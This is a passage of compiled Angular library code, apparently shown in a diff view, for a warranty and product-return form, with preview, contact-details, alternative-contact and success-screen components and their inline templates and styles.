option.Answer\">{{answer|translate}}</span>\r\n </div>\r\n </div>\r\n\r\n <div class=\"return__order--item\"\r\n *ngIf=\"transportOption\">\r\n <span class=\"return__order--item-title\">{{'wf.SelectedTransportationMethod'|translate}}</span>\r\n <span class=\"return__order--item-information\" [title]=\"transportOption.text\">{{transportOption.text}}</span>\r\n </div>\r\n\r\n <div *ngFor=\"let req of reqFields\">\r\n <ng-container [ngSwitch]=\"req.type\">\r\n <div *ngSwitchCase=\"FieldTypeEnum.inputText\">\r\n <span class=\"return__order--item-title\">\r\n {{\"wf.\" + req.locale | lowercase |translate}}\r\n </span>\r\n <span class=\"return__order--item-information\" [title]=\"getRequireFieldValue(req.formControlName)\">{{getRequireFieldValue(req.formControlName)}}</span>\r\n </div>\r\n <div *ngSwitchCase=\"FieldTypeEnum.textarea\">\r\n <span class=\"return__order--item-title\">\r\n {{\"wf.\" + req.locale | lowercase |translate}}\r\n </span>\r\n <span class=\"return__order--item-information long-text\">{{getRequireFieldValue(req.formControlName)}}</span>\r\n </div>\r\n <div *ngSwitchCase=\"FieldTypeEnum.inputFile\">\r\n <div *ngIf=\"files.length > 0\">\r\n <span class=\"return__order--item-title\">\r\n {{\"wf.\" + req.locale | lowercase |translate}}\r\n </span>\r\n <span class=\"return__order--item-information\"\r\n *ngFor=\"let f of files\">\r\n {{f}}\r\n </span>\r\n </div>\r\n </div>\r\n </ng-container>\r\n </div>\r\n\r\n <div class=\"flex--row\"\r\n *ngIf=\"invoiceInformation\">\r\n <div class=\"return__order--item\">\r\n <span class=\"return__order--item-title\">{{\"wf.invoiceCustomer\"|translate}}</span>\r\n <span class=\"return__order--item-information\" [title]=\"invoiceInformation.customerNumber\">{{invoiceInformation.customerNumber}}</span>\r\n </div>\r\n <div class=\"return__order--item\">\r\n <span class=\"return__order--item-title\">{{\"wf.invoiceAddress\"|translate}}</span>\r\n <span class=\"return__order--item-information\" [title]=\"invoiceInformation.invoiceAddress\">{{invoiceInformation.invoiceAddress}}</span>\r\n </div>\r\n <div class=\"return__order--item\">\r\n <span class=\"return__order--item-title\">{{\"wf.invoiceRef\"|translate}}</span>\r\n <span class=\"return__order--item-information\" [title]=\"invoiceInformation.invoiceRef\">{{invoiceInformation.invoiceRef}}</span>\r\n </div>\r\n <div class=\"return__order--item\">\r\n <span class=\"return__order--item-title\">{{\"wf.SelectedTransportationMethod\"|translate}}</span>\r\n <span class=\"return__order--item-information\" [title]=\"invoiceInformation.transportation.text\">{{invoiceInformation.transportation.text}}</span>\r\n </div>\r\n </div>\r\n\r\n <div class=\"return__order--item\"\r\n *ngIf=\"checkboxes.length > 0\">\r\n <span class=\"return__order--item-title\">{{\"wf.subargument\"|translate}}</span>\r\n <span class=\"return__order--item-information\"\r\n *ngFor=\"let req of checkboxes\">\r\n {{ req.locale | translate}}\r\n </span>\r\n </div>\r\n\r\n <div class=\"return__order--item\"\r\n *ngIf=\"verifyCablesObjects\">\r\n <span class=\"return__order--item-title\">{{\"wf.fieldverifycablesquestion\"|translate}}</span>\r\n <span class=\"return__order--item-information\">{{\"wf.fieldverifycables\"|translate}}</span>\r\n </div>\r\n\r\n <div class=\"return__items\">\r\n <div class=\"return__order--item articles\">\r\n <span class=\"return__order--item-title\"\r\n *ngIf=\"configuration.defConfig.caseType === 1\">{{\"wf.returnproducts\"|translate}}</span>\r\n <span class=\"return__order--item-title\"\r\n *ngIf=\"configuration.defConfig.caseType === 2\">{{\"wf.warrantyclaim\"|translate}}</span>\r\n </div>\r\n\r\n <div class=\"return__items--header\"\r\n *ngIf=\"!configuration.OrderIsNull\">\r\n <span class=\"item__description\">{{\"wf.articlename\"|translate}}</span>\r\n <span class=\"item__article\">{{\"wf.articlenumber\"|translate}}</span>\r\n <span class=\"item__quantity align__center\"\r\n *ngIf=\"!configuration.isCompletedOrderCase && !(lineForm.value.serialNumbers?.length > 0)\">{{\"wf.articlequantity\"|translate}}</span>\r\n <span class=\"item__serial\"\r\n *ngIf=\"!configuration.isCompletedOrderCase && lineForm.value.serialNumbers?.length > 0\">{{\"wf.serialnumbers\"|translate}}</span>\r\n <span class=\"item__serial\"\r\n *ngIf=\"configuration.isCompletedOrderCase\">{{\"wf.serialnumbersWithQuantity\"|translate}}</span>\r\n </div>\r\n <div class=\"return__items--list\"\r\n *ngIf=\"!configuration.OrderIsNull\">\r\n <span class=\"item__description text__overflow\">{{lineForm.value.productDescription}}</span>\r\n <span class=\"item__article text__overflow\">{{lineForm.value.productNumber}}</span>\r\n <span class=\"item__quantity align__center\"\r\n *ngIf=\"selectedSerialNumbers.length === 0\">{{lineForm.value.quantity}}</span>\r\n <div class=\"item__serial\"\r\n *ngIf=\"selectedSerialNumbers.length > 0\">\r\n <span class=\"contextual__item\">\r\n {{getSerialNumber()}}\r\n </span>\r\n <div class=\"list__contextuals--icon\"\r\n *ngIf=\"selectedSerialNumbers.length > 1\">\r\n <input type=\"text\"\r\n max-length=\"0\"\r\n (focus)=\"onFocus()\"\r\n (blur)=\"onBlur()\" />\r\n <span>{{\"wf.showall\"|translate}}</span>\r\n </div>\r\n <div class=\"list__contextuals--open\"\r\n *ngIf=\"isOpen\">\r\n <span class=\"contextual__item\"\r\n *ngFor=\"let serial of selectedSerialNumbers\">\r\n {{serial}}\r\n </span>\r\n </div>\r\n </div>\r\n </div>\r\n <div class=\"flex--row\"\r\n *ngIf=\"configuration.OrderIsNull\">\r\n <div class=\"return__order--item\">\r\n <span class=\"return__items--header\"><span>{{'wf.serialnumbers'|translate}}</span></span>\r\n <span class=\"return__order--item-information\" [title]=\"serialNumberEmptyOrder\">{{serialNumberEmptyOrder}}</span>\r\n </div>\r\n <div class=\"return__order--item\">\r\n <span class=\"return__items--header\"><span>{{'wf.productNumber'|translate}}</span></span>\r\n <span class=\"return__order--item-information\" [title]=\"productNumberEmptyOrder\">{{productNumberEmptyOrder}}</span>\r\n </div>\r\n <div class=\"return__order--item\">\r\n <span class=\"return__items--header\"><span>{{'wf.productModel'|translate}}</span></span>\r\n <span class=\"return__order--item-information\" [title]=\"productModelEmptyOrder\">{{productModelEmptyOrder}}</span>\r\n </div>\r\n </div>\r\n </div>\r\n</div>", styles: [":root{--color-primary: hsl(202, 9%, 33%);--color-secondary: hsl(87, 69%, 30%);--color-grey-40-dark: hsl(202, 9%, 13%);--color-grey-20-dark: hsl(202, 9%, 23%);--color-grey: hsl(202, 9%, 33%);--color-grey-20-light: hsl(202, 9%, 43%);--color-grey-40-light: hsl(202, 9%, 53%);--color-grey-60-light: hsl(202, 9%, 63%);--color-grey-80-light: hsl(202, 9%, 73%);--color-grey-100-light: hsl(202, 9%, 93%);--color-green: #008a00;--color-green-hover: #007c00;--text-standard-color: var(--color-grey-40-dark);--background-standard-hover-color: hsl(180, 5%, 96%);--color-btn-primary-default: hsl(202, 9%, 33%);--color-btn-primary-hover: hsl(200, 9%, 13%);--color-btn-primary-label: hsl(255, 100%, 100%);--color-btn-secondary-default: hsl(87, 69%, 40%);--color-btn-secondary-hover: hsl(87, 69%, 30%);--color-btn-secondary-label: hsl(255, 100%, 100%);--color-btn-danger-default: hsl(358, 56%, 50%);--color-btn-danger-hover: hsl(358, 56%, 42%);--color-btn-danger-label: hsl(255, 100%, 100%);--color-btn-disabled-default: hsl(200, 14%, 60%);--color-btn-disabled-label: hsl(255, 100%, 100%);--color-white: hsl(255, 100%, 100%);--transition-btn: cubic-bezier(.4, 0, 1, 1);--element-scrollbar-thumb: hsl(204, 4.9%, 60%);--element-scrollbar-track: hsl(180, 2.9%, 93.1%)}.flex--column{display:flex;flex-direction:column}.flex--row{display:flex;width:100%;flex-wrap:wrap;flex-direction:row}.return__order--item{display:flex;flex-direction:column;margin:0;min-width:225px;width:33%}.return__order--item-title{text-transform:uppercase;font-size:.75rem;color:#71797d;margin:15px 0 0;display:block;width:100%}.return__order--item-information{font-size:.875rem;line-height:165%;font-weight:600;color:#2e3438;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;margin:2px 0;display:block;width:calc(100% - 5px)}.return__order--item-information.long-text{white-space:pre-line}.articles{margin:10px 0 5px}.return__items--header{display:flex;flex-direction:row;width:100%;margin:10px 0 5px}.return__items--header span{font-size:.75rem;font-weight:600}.return__items--list{display:flex;width:100%;font-size:.875rem;letter-spacing:-.0375rem}.return__items .item__description{width:35%;padding-right:20px}.return__items .item__article{width:25%}.return__items .item__serial{position:relative;text-align:right;margin-left:auto}.return__items .item__quantity{margin-left:auto}.return__items .list__contextuals--icon span{width:100%;text-align:right;pointer-events:none;color:var(--color-green);font-weight:600}.return__items .list__contextuals--icon:hover span{color:#006e00}.text__overflow{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;padding:0}.list__formsdata{margin-left:0;margin-right:auto}.list__contextuals{position:relative;display:flex;align-items:center;margin:0 10px 0 0;flex-grow:0;flex-shrink:0}.list__contextuals--icon{position:relative;display:flex;align-items:center;justify-content:center;width:100%;height:26px;margin:0 5px 0 0}.list__contextuals--icon input[type=text]{position:absolute;background-color:transparent;opacity:0;width:100%;height:100%;left:0;top:0}.list__contextuals--icon input[type=text]:hover{cursor:pointer}.list__contextuals--icon input[type=text]:focus{pointer-events:none;outline:none;z-index:-1;text-indent:-9999em;text-shadow:9999em 0 0 #000}.list__contextuals--icon img{width:26px;pointer-events:none}.list__contextuals--icon:hover{opacity:1}@keyframes scaleUpActions{0%{transform:scale(0);opacity:0}75%{transform:scale(1)}to{opacity:1;transform:scale(1)}}.list__contextuals--open{position:absolute;top:calc(100% + 5px);right:-5px;width:auto;padding:6px 0;background-color:#2e3438;z-index:10;display:flex;flex-direction:column;border-radius:4px;box-shadow:0 4px 16px #0000004d;animation:scaleUpActions .15s;transform-origin:top right;max-height:250px;overflow:auto}.list__contextuals--open:after{bottom:100%;right:12px;border:solid transparent;content:\" \";height:0;width:0;position:absolute;pointer-events:none;border-color:#88b7d500;border-bottom-color:#2e3438;border-width:11px;margin-left:-7px;margin-bottom:-1px;transform:scaleX(.75)}.list__contextuals--open .contextual__item{padding:9px 30px 11px 20px;display:flex;letter-spacing:-.5px;font-weight:400;color:#fff;flex-direction:column}.list__contextuals--open .contextual__item:hover{cursor:text}.list__contextuals--open .contextual__item--text{display:flex;color:#fff;word-break:keep-all;white-space:nowrap;align-items:center;font-size:.75rem;pointer-events:none}.list__contextuals--open .contextual__item--text img{width:16px;margin:0 5px 0 0}.list__contextuals--open .contextual__item--subtext{width:100%;pointer-events:none;white-space:nowrap;align-items:center;font-size:.6875rem;color:#ffffffbf;margin:3px 0 2px 3px}\n"], directives: [{ type: i2.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i2.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }, { type: i2.NgSwitch, selector: "[ngSwitch]", inputs: ["ngSwitch"] }, { type: i2.NgSwitchCase, selector: "[ngSwitchCase]", inputs: ["ngSwitchCase"] }], pipes: { "translate": i4.TranslatePipe, "lowercase": i2.LowerCasePipe } });
|
2713
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyPreviewItemComponent, decorators: [{
|
2714
|
+
type: Component,
|
2715
|
+
args: [{
|
2716
|
+
selector: 'warranty-preview-item',
|
2717
|
+
templateUrl: './warranty-preview-item.component.html',
|
2718
|
+
styleUrls: ['./warranty-preview-item.component.scss']
|
2719
|
+
}]
|
2720
|
+
}], ctorParameters: function () { return [{ type: FormComponentService }]; }, propDecorators: { configuration: [{
|
2721
|
+
type: Input
|
2722
|
+
}], warrantyData: [{
|
2723
|
+
type: Input
|
2724
|
+
}], lineForm: [{
|
2725
|
+
type: Input
|
2726
|
+
}], troubleshootingOptions: [{
|
2727
|
+
type: Input
|
2728
|
+
}], serialNumberEmptyOrder: [{
|
2729
|
+
type: Input
|
2730
|
+
}], productNumberEmptyOrder: [{
|
2731
|
+
type: Input
|
2732
|
+
}], productModelEmptyOrder: [{
|
2733
|
+
type: Input
|
2734
|
+
}] } });
|
2735
|
+
|
2736
|
+
class WarrantyPreviewComponent {
|
2737
|
+
constructor(formComponentService) {
|
2738
|
+
this.formComponentService = formComponentService;
|
2739
|
+
}
|
2740
|
+
ngOnInit() {
|
2741
|
+
this.questionsMapping = this.formComponentService.getQuestionsForPreview(this.configuration.defConfig.country);
|
2742
|
+
}
|
2743
|
+
getSelectedLines() {
|
2744
|
+
const lines = this.warrantyForm.get("lines");
|
2745
|
+
return lines.controls.filter(c => c.get("isChecked").value);
|
2746
|
+
}
|
2747
|
+
getTroubleShootingOptions(line) {
|
2748
|
+
const troubleshootingOptions = [];
|
2749
|
+
const infoForm = line.get("info");
|
2750
|
+
if (this.configuration.isWarranty) {
|
2751
|
+
troubleshootingOptions.push(this.getTroubleshootingOption(infoForm.get("reasonProductReturn").value));
|
2752
|
+
}
|
2753
|
+
Object.keys(infoForm.controls).forEach(ct => {
|
2754
|
+
if (ct.startsWith("node-")) {
|
2755
|
+
const option = infoForm.get(ct).value;
|
2756
|
+
if (option) {
|
2757
|
+
const to = this.getTroubleshootingOption(option);
|
2758
|
+
troubleshootingOptions.push(to);
|
2759
|
+
}
|
2760
|
+
}
|
2761
|
+
});
|
2762
|
+
return troubleshootingOptions;
|
2763
|
+
}
|
2764
|
+
getTroubleshootingOption(optionValue) {
|
2765
|
+
let to;
|
2766
|
+
if (!Array.isArray(optionValue)) {
|
2767
|
+
const option = this.warrantyData.getRuleOption(optionValue);
|
2768
|
+
let question = this.questionsMapping.has(option.localizeVar) ?
|
2769
|
+
this.questionsMapping.get(option.localizeVar) : "wf.issuewithproduct";
|
2770
|
+
to = new TroubleshootingOption(question, [option.nodeDescription]);
|
2771
|
+
}
|
2772
|
+
else {
|
2773
|
+
const question = "wf.selectoptions";
|
2774
|
+
const answers = [];
|
2775
|
+
optionValue.forEach(o => {
|
2776
|
+
const ruleOption = this.warrantyData.getRuleOption(o);
|
2777
|
+
answers.push(ruleOption.nodeDescription);
|
2778
|
+
});
|
2779
|
+
to = new TroubleshootingOption(question, answers);
|
2780
|
+
}
|
2781
|
+
return to;
|
2782
|
+
}
|
2783
|
+
}
|
2784
|
+
WarrantyPreviewComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyPreviewComponent, deps: [{ token: FormComponentService }], target: i0.ɵɵFactoryTarget.Component });
|
2785
|
+
WarrantyPreviewComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WarrantyPreviewComponent, selector: "warranty-preview", inputs: { configuration: "configuration", warrantyForm: "warrantyForm", warrantyData: "warrantyData" }, ngImport: i0, template: "<div class=\"return__order flex--column\" \r\n *ngFor=\"let line of getSelectedLines(); let i = index\">\r\n <h4><span>{{'wf.returnableItem'|translate}} {{i+1}}</span></h4>\r\n <warranty-preview-item\r\n [configuration]=\"configuration\"\r\n [lineForm]=\"line\"\r\n [warrantyData]=\"warrantyData\"\r\n [troubleshootingOptions]=\"getTroubleShootingOptions(line)\"\r\n [serialNumberEmptyOrder]=\"warrantyForm.value.serialNumber\"\r\n [productNumberEmptyOrder]=\"warrantyForm.value.productNumber\"\r\n [productModelEmptyOrder]=\"warrantyForm.value.productDescription\">\r\n </warranty-preview-item>\r\n</div>", styles: ["h4{font-size:1.0294117647rem;letter-spacing:-.046875rem}.return__order{display:flex;width:100%;padding:20px 0 25px;border-bottom:1px solid #dbdddf}.flex--column{flex-direction:column}\n"], components: [{ type: WarrantyPreviewItemComponent, selector: "warranty-preview-item", inputs: ["configuration", "warrantyData", "lineForm", "troubleshootingOptions", "serialNumberEmptyOrder", "productNumberEmptyOrder", "productModelEmptyOrder"] }], directives: [{ type: i2.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }], pipes: { "translate": i4.TranslatePipe } });
|
2786
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyPreviewComponent, decorators: [{
|
2787
|
+
type: Component,
|
2788
|
+
args: [{
|
2789
|
+
selector: 'warranty-preview',
|
2790
|
+
templateUrl: './warranty-preview.component.html',
|
2791
|
+
styleUrls: ['./warranty-preview.component.scss']
|
2792
|
+
}]
|
2793
|
+
}], ctorParameters: function () { return [{ type: FormComponentService }]; }, propDecorators: { configuration: [{
|
2794
|
+
type: Input
|
2795
|
+
}], warrantyForm: [{
|
2796
|
+
type: Input
|
2797
|
+
}], warrantyData: [{
|
2798
|
+
type: Input
|
2799
|
+
}] } });
|
2800
|
+
|
2801
|
+
class ContactDetailsComponent {
|
2802
|
+
constructor() {
|
2803
|
+
this.askAdditionalContacts = false;
|
2804
|
+
this.displayLocation = false;
|
2805
|
+
this.displayContactPreference = false;
|
2806
|
+
}
|
2807
|
+
ngOnInit() {
|
2808
|
+
var _a, _b;
|
2809
|
+
this.showLastTicketDialog = this.configuration.isWarranty && this.isCustomerDetails((_a = this.configuration.defData) === null || _a === void 0 ? void 0 : _a.lastSavedcustomerDetails);
|
2810
|
+
this.displayLocation = this.displayContactPreference = this.configuration.defConfig.country === CountriesEnum.DK
|
2811
|
+
&& this.configuration.isWarranty && this.askAdditionalContacts;
|
2812
|
+
if (!this.displayLocation)
|
2813
|
+
this.customerDetailsForm.get("location").removeValidators(Validators.required);
|
2814
|
+
if (!this.displayContactPreference)
|
2815
|
+
this.customerDetailsForm.get("contactPreference").removeValidators(Validators.required);
|
2816
|
+
this.setTicketDetails((_b = this.configuration.defData) === null || _b === void 0 ? void 0 : _b.customerDetails);
|
2817
|
+
}
|
2818
|
+
isCustomerDetails(details) {
|
2819
|
+
return details !== undefined;
|
2820
|
+
}
|
2821
|
+
addLastTicketDetails() {
|
2822
|
+
var _a;
|
2823
|
+
this.setTicketDetails((_a = this.configuration.defData) === null || _a === void 0 ? void 0 : _a.lastSavedcustomerDetails);
|
2824
|
+
this.showLastTicketDialog = false;
|
2825
|
+
}
|
2826
|
+
setTicketDetails(details) {
|
2827
|
+
if (details) {
|
2828
|
+
this.setCustomerDetailsPropertyValue("customerName", details.customerName);
|
2829
|
+
this.setCustomerDetailsPropertyValue("customerNumber", details.customerNumber);
|
2830
|
+
this.setCustomerDetailsPropertyValue("customerAddress", details.customerAddress);
|
2831
|
+
this.setCustomerDetailsPropertyValue("email", details.customerEmail);
|
2832
|
+
this.setCustomerDetailsPropertyValue("firstName", details.customerFirstName);
|
2833
|
+
this.setCustomerDetailsPropertyValue("lastName", details.customerLastName);
|
2834
|
+
this.setCustomerDetailsPropertyValue("phone", details.customerPhoneNumber);
|
2835
|
+
this.setCustomerDetailsPropertyValue("customerReference", details.customerReference);
|
2836
|
+
}
|
2837
|
+
}
|
2838
|
+
setCustomerDetailsPropertyValue(propertyName, propertyValue) {
|
2839
|
+
if (propertyValue) {
|
2840
|
+
this.customerDetailsForm.get(propertyName).setValue(propertyValue);
|
2841
|
+
}
|
2842
|
+
}
|
2843
|
+
cancelLastTicketDetails() {
|
2844
|
+
this.showLastTicketDialog = false;
|
2845
|
+
}
|
2846
|
+
}
|
2847
|
+
ContactDetailsComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: ContactDetailsComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
|
2848
|
+
ContactDetailsComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: ContactDetailsComponent, selector: "contact-details", inputs: { configuration: "configuration", customerDetailsForm: "customerDetailsForm", askAdditionalContacts: "askAdditionalContacts" }, ngImport: i0, template: "<div *ngIf=\"showLastTicketDialog\"\r\n class=\"last-ticket\">\r\n <h4>{{\"wf.informationfromlastticket\"|translate}}</h4>\r\n <div class=\"actions\">\r\n <ad-button size=\"large\"\r\n variant=\"primary\"\r\n class=\"accept-action\"\r\n (onClick)=\"addLastTicketDetails()\">{{\"wf.uselastticketdetails\"|translate}}\r\n </ad-button>\r\n <span class=\"close-action\"\r\n (click)=\"cancelLastTicketDetails()\">{{\"wf.dontadd\"|translate}}</span>\r\n </div>\r\n</div>\r\n<div class=\"return__section\"\r\n [formGroup]=\"customerDetailsForm\">\r\n <span class=\"inner__title\">{{\"wf.contactdetail\"|translate}} *</span>\r\n <ad-text class=\"return__section--half\"\r\n formControlName=\"customerName\"\r\n type=\"text\">\r\n {{'wf.customername'|translate}}\r\n </ad-text>\r\n <ad-text class=\"return__section--half\"\r\n formControlName=\"customerNumber\"\r\n type=\"number\">\r\n {{'wf.customernumber'|translate}}\r\n </ad-text>\r\n <ad-text class=\"return__section--half\"\r\n formControlName=\"customerAddress\"\r\n type=\"text\">\r\n {{'wf.address'|translate}}\r\n </ad-text>\r\n <ad-text class=\"return__section--half\"\r\n formControlName=\"customerReference\"\r\n type=\"text\">\r\n {{'wf.deliveryreference'|translate}}\r\n </ad-text>\r\n\r\n <ad-text class=\"return__section--half\"\r\n formControlName=\"firstName\"\r\n type=\"text\">\r\n {{'wf.firstname'|translate}}\r\n </ad-text>\r\n\r\n <ad-text class=\"return__section--half\"\r\n formControlName=\"lastName\"\r\n type=\"text\">\r\n {{'wf.lastname'|translate}}\r\n </ad-text>\r\n\r\n <ad-text class=\"return__section--half\"\r\n formControlName=\"email\"\r\n type=\"email\">\r\n {{'wf.email'|translate}}\r\n </ad-text>\r\n\r\n <ad-text class=\"return__section--half\"\r\n formControlName=\"phone\"\r\n type=\"tel\">\r\n {{'wf.phonenumber'|translate}}\r\n </ad-text>\r\n\r\n <ad-text *ngIf=\"displayLocation\"\r\n class=\"return__section--half\"\r\n formControlName=\"location\"\r\n type=\"text\">\r\n {{'wf.location'|translate}}\r\n </ad-text>\r\n\r\n <ad-text *ngIf=\"displayContactPreference\"\r\n class=\"return__section--half\"\r\n formControlName=\"contactPreference\"\r\n type=\"text\">\r\n {{'wf.contactPreference'|translate}}\r\n </ad-text>\r\n</div>", styles: [".return__section{display:flex;flex-wrap:wrap;position:relative;width:100%}.return__section .inner__title{width:100%;font-size:.875rem;font-weight:600;margin:50px 0 10px;line-height:175%}.return__section--half{display:flex;width:calc(50% - 20px)}.return__section--half:nth-of-type(even){margin-left:auto!important}.actions{display:flex;padding-bottom:10px}.actions .accept-action{margin-right:20px}.actions .close-action{padding:30px 0 0;font-weight:600;cursor:pointer}\n"], components: [{ type: i1$1.ButtonComponent, selector: "ad-button", inputs: ["type", "variant", "width", "size", "className", "loading", "disabled"], outputs: ["onClick"] }, { type: i1$1.TextInputComponent, selector: "ad-text", inputs: ["type", "variant", "disabled", "placeholder"] }], directives: [{ type: i2.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i3.NgControlStatusGroup, selector: "[formGroupName],[formArrayName],[ngModelGroup],[formGroup],form:not([ngNoForm]),[ngForm]" }, { type: i3.FormGroupDirective, selector: "[formGroup]", inputs: ["formGroup"], outputs: ["ngSubmit"], exportAs: ["ngForm"] }, { type: i3.NgControlStatus, selector: "[formControlName],[ngModel],[formControl]" }, { type: i3.FormControlName, selector: "[formControlName]", inputs: ["disabled", "formControlName", "ngModel"], outputs: ["ngModelChange"] }], pipes: { "translate": i4.TranslatePipe } });
|
2849
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: ContactDetailsComponent, decorators: [{
|
2850
|
+
type: Component,
|
2851
|
+
args: [{
|
2852
|
+
selector: 'contact-details',
|
2853
|
+
templateUrl: './contact-details.component.html',
|
2854
|
+
styleUrls: ['./contact-details.component.scss']
|
2855
|
+
}]
|
2856
|
+
}], propDecorators: { configuration: [{
|
2857
|
+
type: Input
|
2858
|
+
}], customerDetailsForm: [{
|
2859
|
+
type: Input
|
2860
|
+
}], askAdditionalContacts: [{
|
2861
|
+
type: Input
|
2862
|
+
}] } });
|
2863
|
+
|
2864
|
+
class AlternativeContactComponent {
|
2865
|
+
}
|
2866
|
+
AlternativeContactComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: AlternativeContactComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
|
2867
|
+
AlternativeContactComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: AlternativeContactComponent, selector: "alternative-contact", inputs: { alternativeContactForm: "alternativeContactForm" }, ngImport: i0, template: "<div [formGroup]=\"alternativeContactForm\" class=\"return__section\">\r\n <span class=\"inner__title\">{{\"wf.alternativecontactdetail\"|translate}}*</span>\r\n <ad-text \r\n class=\"return__section--half\"\r\n formControlName=\"name\"\r\n type=\"text\">\r\n {{'wf.alternativeContact.name'|translate}}\r\n </ad-text>\r\n <ad-text \r\n class=\"return__section--half\"\r\n formControlName=\"role\"\r\n type=\"text\">\r\n {{'wf.alternativeContact.role'|translate}}\r\n </ad-text>\r\n <ad-text \r\n class=\"return__section--half\"\r\n formControlName=\"address\"\r\n type=\"text\">\r\n {{'wf.alternativeContact.address'|translate}}\r\n </ad-text>\r\n <ad-text \r\n class=\"return__section--half\"\r\n formControlName=\"zipCode\"\r\n type=\"text\">\r\n {{'wf.alternativeContact.zipCode'|translate}}\r\n </ad-text>\r\n <ad-text \r\n class=\"return__section--half\"\r\n formControlName=\"city\"\r\n type=\"text\">\r\n {{'wf.alternativeContact.city'|translate}}\r\n </ad-text>\r\n <ad-text \r\n class=\"return__section--half\"\r\n formControlName=\"email\"\r\n type=\"text\">\r\n {{'wf.alternativeContact.email'|translate}}\r\n </ad-text>\r\n <ad-text \r\n class=\"return__section--half\"\r\n formControlName=\"phone\"\r\n type=\"number\">\r\n {{'wf.alternativeContact.phone'|translate}}\r\n </ad-text> \r\n</div>", styles: [".return__section{display:flex;flex-wrap:wrap;position:relative;width:100%}.return__section .inner__title{width:100%;font-size:.875rem;font-weight:600;margin:50px 0 10px;line-height:175%}.return__section--half{display:flex;width:calc(50% - 20px);animation:fadeIn .35s;transition:opacity .5s}.return__section--half:nth-of-type(even){margin-left:auto!important}\n"], components: [{ type: i1$1.TextInputComponent, selector: "ad-text", inputs: ["type", "variant", "disabled", "placeholder"] }], directives: [{ type: i3.NgControlStatusGroup, selector: "[formGroupName],[formArrayName],[ngModelGroup],[formGroup],form:not([ngNoForm]),[ngForm]" }, { type: i3.FormGroupDirective, selector: "[formGroup]", inputs: ["formGroup"], outputs: ["ngSubmit"], exportAs: ["ngForm"] }, { type: i3.NgControlStatus, selector: "[formControlName],[ngModel],[formControl]" }, { type: i3.FormControlName, selector: "[formControlName]", inputs: ["disabled", "formControlName", "ngModel"], outputs: ["ngModelChange"] }], pipes: { "translate": i4.TranslatePipe } });
|
2868
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: AlternativeContactComponent, decorators: [{
|
2869
|
+
type: Component,
|
2870
|
+
args: [{
|
2871
|
+
selector: 'alternative-contact',
|
2872
|
+
templateUrl: './alternative-contact.component.html',
|
2873
|
+
styleUrls: ['./alternative-contact.component.scss']
|
2874
|
+
}]
|
2875
|
+
}], propDecorators: { alternativeContactForm: [{
|
2876
|
+
type: Input
|
2877
|
+
}] } });
|
2878
|
+
|
2879
|
+
class WarrantySuccessComponent {
|
2880
|
+
constructor() {
|
2881
|
+
this.caseResponses = [];
|
2882
|
+
this.close = new EventEmitter();
|
2883
|
+
this.redirect = new EventEmitter();
|
2884
|
+
}
|
2885
|
+
get CountriesEnum() {
|
2886
|
+
return CountriesEnum;
|
2887
|
+
}
|
2888
|
+
redirectToTicket() {
|
2889
|
+
var _a;
|
2890
|
+
const caseData = ((_a = this.caseResponses) === null || _a === void 0 ? void 0 : _a.length) > 0 ? this.caseResponses[0] : null;
|
2891
|
+
this.close.emit(caseData);
|
2892
|
+
}
|
2893
|
+
closeSuccess() {
|
2894
|
+
this.close.emit();
|
2895
|
+
}
|
2896
|
+
}
|
2897
|
+
WarrantySuccessComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantySuccessComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
|
2898
|
+
WarrantySuccessComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WarrantySuccessComponent, selector: "warranty-success", inputs: { configuration: "configuration", caseResponses: "caseResponses", reference: "reference" }, outputs: { close: "close", redirect: "redirect" }, ngImport: i0, template: "<div class=\"return__succeeded\">\r\n\r\n <img width=\"270\" src=\"assets/images/undraw_confirmed.svg\" alt=\"\">\r\n\r\n <h2>{{\"wf.casesubmitted\"|translate}}</h2>\r\n <div *ngFor=\"let caseResponse of caseResponses\">\r\n <span class=\"return__succeeded--numbers\"\r\n *ngIf=\"caseResponse.caseNumber\">\r\n <span>{{\"wf.casenumber\"|translate}}: </span>\r\n <span class=\"bold\">{{caseResponse.caseNumber}}</span>\r\n </span>\r\n <div class=\"text-center\">\r\n <span class=\"return__succeeded--numbers\"\r\n *ngIf=\"caseResponse.caseId\">\r\n <span>{{\"wf.caseId\"|translate}}</span>:\r\n <span class=\"bold\">{{caseResponse.caseId}}</span>\r\n </span>\r\n </div>\r\n\r\n <div class=\"reference\"\r\n *ngIf=\"reference && configuration.defConfig.country === CountriesEnum.SE && !caseResponse.caseNumber\">\r\n <span class=\"return__succeeded--numbers\">\r\n <span>{{\"wf.internalrefnumber\"|translate}}</span>:\r\n <span>{{reference}}</span>\r\n </span>\r\n </div>\r\n </div>\r\n\r\n <div class=\"return__succeeded--btn\"\r\n 